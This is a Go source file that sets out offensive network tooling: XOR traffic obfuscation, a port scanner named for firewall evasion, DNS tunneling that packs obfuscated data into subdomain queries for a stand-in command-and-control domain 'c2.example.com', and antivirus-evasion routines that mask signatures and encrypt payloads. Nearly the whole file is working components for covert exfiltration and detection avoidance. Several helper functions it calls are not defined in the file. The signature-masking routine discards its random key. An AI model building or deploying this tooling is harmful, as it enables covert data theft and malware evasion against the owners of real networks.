package security
import (
	"errors"
	"fmt"
	"net"
	"strings"
	"time"
)
type NetworkObfuscator struct {
	key []byte
}
func NewNetworkObfuscator(key []byte) *NetworkObfuscator {
	return &NetworkObfuscator{
		key: key,
	}
}
func (n *NetworkObfuscator) ObfuscateData(data []byte) ([]byte, error) {
	if len(n.key) == 0 {
		return nil, errors.New("no key provided")
	}
	
	
	result := make([]byte, len(data))
	for i, b := range data {
		result[i] = b ^ n.key[i%len(n.key)]
	}
	
	return result, nil
}
func (n *NetworkObfuscator) DeobfuscateData(data []byte) ([]byte, error) {
	
	return n.ObfuscateData(data)
}
type FirewallEvasion struct {
	commonPorts []int
}
func NewFirewallEvasion() *FirewallEvasion {
	return &FirewallEvasion{
		commonPorts: []int{80, 443, 53, 22, 25, 587, 3389, 8080, 8443},
	}
}
func (f *FirewallEvasion) SetCommonPorts(ports []int) {
	f.commonPorts = ports
}
func (f *FirewallEvasion) IsPortOpen(host string, port int) bool {
	
	conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", host, port), 5*time.Second)
	if err != nil {
		return false
	}
	defer conn.Close()
	
	return true
}
func (f *FirewallEvasion) FindOpenPort(host string) (int, error) {
	
	for _, port := range f.commonPorts {
		if f.IsPortOpen(host, port) {
			return port, nil
		}
	}
	
	
	return 0, errors.New("no open port found")
}
type DNSTunneling struct {
	domain     string
	chunkSize  int
	obfuscator *NetworkObfuscator
}
func NewDNSTunneling(domain string, key []byte) *DNSTunneling {
	return &DNSTunneling{
		domain:     domain,
		chunkSize:  63, 
		obfuscator: NewNetworkObfuscator(key),
	}
}
func (d *DNSTunneling) EncodeData(data []byte) ([]string, error) {
	
	obfuscatedData, err := d.obfuscator.ObfuscateData(data)
	if err != nil {
		return nil, err
	}
	
	
	encoded := encodeBase64(obfuscatedData)
	
	
	var chunks []string
	for i := 0; i < len(encoded); i += d.chunkSize {
		end := i + d.chunkSize
		if end > len(encoded) {
			end = len(encoded)
		}
		chunks = append(chunks, encoded[i:end])
	}
	
	
	var queries []string
	for i, chunk := range chunks {
		query := fmt.Sprintf("%d.%s.%s", i, chunk, d.domain)
		queries = append(queries, query)
	}
	
	return queries, nil
}
func (d *DNSTunneling) DecodeData(queries []string) ([]byte, error) {
	
	var encodedChunks []string
	for _, query := range queries {
		parts := strings.Split(query, ".")
		if len(parts) < 3 {
			return nil, errors.New("invalid DNS query format")
		}
		
		
		encodedChunks = append(encodedChunks, parts[1])
	}
	
	
	encoded := strings.Join(encodedChunks, "")
	
	
	obfuscatedData, err := decodeBase64(encoded)
	if err != nil {
		return nil, err
	}
	
	
	return d.obfuscator.DeobfuscateData(obfuscatedData)
}
func (d *DNSTunneling) SetDomain(domain string) {
	d.domain = domain
}
func (d *DNSTunneling) SetChunkSize(size int) {
	if size > 63 {
		size = 63 
	}
	d.chunkSize = size
}
type AntiVirusEvasion struct {
}
func NewAntiVirusEvasion() *AntiVirusEvasion {
	return &AntiVirusEvasion{}
}
func (a *AntiVirusEvasion) ObfuscateSignature(data []byte) ([]byte, error) {
	
	key := byte(time.Now().UnixNano() % 256)
	result := make([]byte, len(data))
	for i, b := range data {
		result[i] = b ^ key
	}
	
	return result, nil
}
func (a *AntiVirusEvasion) DeobfuscateSignature(data []byte, key byte) ([]byte, error) {
	
	result := make([]byte, len(data))
	for i, b := range data {
		result[i] = b ^ key
	}
	
	return result, nil
}
func (a *AntiVirusEvasion) EncryptPayload(payload []byte, password string) ([]byte, error) {
	
	key := deriveKey(password)
	
	
	return encryptAES(payload, key)
}
func (a *AntiVirusEvasion) DecryptPayload(encryptedPayload []byte, password string) ([]byte, error) {
	
	key := deriveKey(password)
	
	
	return decryptAES(encryptedPayload, key)
}
type NetworkSecurityManager struct {
	Obfuscator     *NetworkObfuscator
	FirewallEvasion *FirewallEvasion
	DNSTunneling   *DNSTunneling
	AntiVirusEvasion *AntiVirusEvasion
}
func NewNetworkSecurityManager(key []byte) *NetworkSecurityManager {
	return &NetworkSecurityManager{
		Obfuscator:      NewNetworkObfuscator(key),
		FirewallEvasion: NewFirewallEvasion(),
		DNSTunneling:    NewDNSTunneling("c2.example.com", key),
		AntiVirusEvasion: NewAntiVirusEvasion(),
	}
}
func (n *NetworkSecurityManager) ObfuscateTraffic(data []byte) ([]byte, error) {
	return n.Obfuscator.ObfuscateData(data)
}
func (n *NetworkSecurityManager) DeobfuscateTraffic(data []byte) ([]byte, error) {
	return n.Obfuscator.DeobfuscateData(data)
}
func (n *NetworkSecurityManager) FindOpenPort(host string) (int, error) {
	return n.FirewallEvasion.FindOpenPort(host)
}
func (n *NetworkSecurityManager) CreateDNSTunnel(data []byte) ([]string, error) {
	return n.DNSTunneling.EncodeData(data)
}
func (n *NetworkSecurityManager) DecodeDNSTunnel(queries []string) ([]byte, error) {
	return n.DNSTunneling.DecodeData(queries)
}
func (n *NetworkSecurityManager) EncryptPayload(payload []byte, password string) ([]byte, error) {
	return n.AntiVirusEvasion.EncryptPayload(payload, password)
}
func (n *NetworkSecurityManager) DecryptPayload(encryptedPayload []byte, password string) ([]byte, error) {
	return n.AntiVirusEvasion.DecryptPayload(encryptedPayload, password)
}
